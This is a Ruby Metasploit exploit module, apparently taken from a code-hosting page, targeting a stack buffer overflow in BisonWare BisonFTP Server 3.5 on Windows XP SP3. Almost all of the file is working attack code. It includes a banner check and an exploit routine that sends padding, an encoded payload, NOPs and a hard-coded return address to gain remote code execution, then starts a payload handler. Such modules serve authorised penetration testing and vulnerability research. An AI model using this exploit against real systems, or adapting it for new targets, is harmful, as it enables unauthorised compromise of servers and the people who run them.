92 lines
2.3 KiB
Ruby
92 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BisonWare BisonFTP Server Buffer Overflow',
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'Description' => %q{
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BisonWare BisonFTP Server 3.5 is prone to an overflow condition.
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This module exploits a buffer overflow vulnerability in the said
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application.
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},
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'Platform' => 'win',
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'Author' =>
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[
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'localh0t', # initial discovery
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'veerendragg @ SecPod', # initial msf
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'Jay Turla' # msf
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '1999-1510'],
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[ 'BID', '49109'],
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[ 'EDB', '17649'],
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[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'VERBOSE' => true
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},
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'Payload' =>
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{
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'Space' => 310,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[ 'Bisonware FTP Server / Windows XP SP3 EN',
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{
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'Ret' => 0x0040333f,
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'Offset' => 1028,
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'Nops' => 404
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 07 2011'))
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end
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def check
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connect_login
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disconnect
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if /BisonWare BisonFTP server product V3\.5/i === banner
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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connect
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print_status('Triggering the prompt for an unregistered product')
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sock.put('')
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print_status('Disconnecting...')
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disconnect
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print_status('Connecting for the second time to deliver our payload...')
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connect #connect for the second time
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buf = rand_text_alpha(target['Offset'])
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buf << payload.encoded
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buf << make_nops( (target['Nops']) - payload.encoded.length)
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buf << [target.ret].pack('V')
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print_status('Sending payload...')
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sock.put(buf)
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handler
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disconnect
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end
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end
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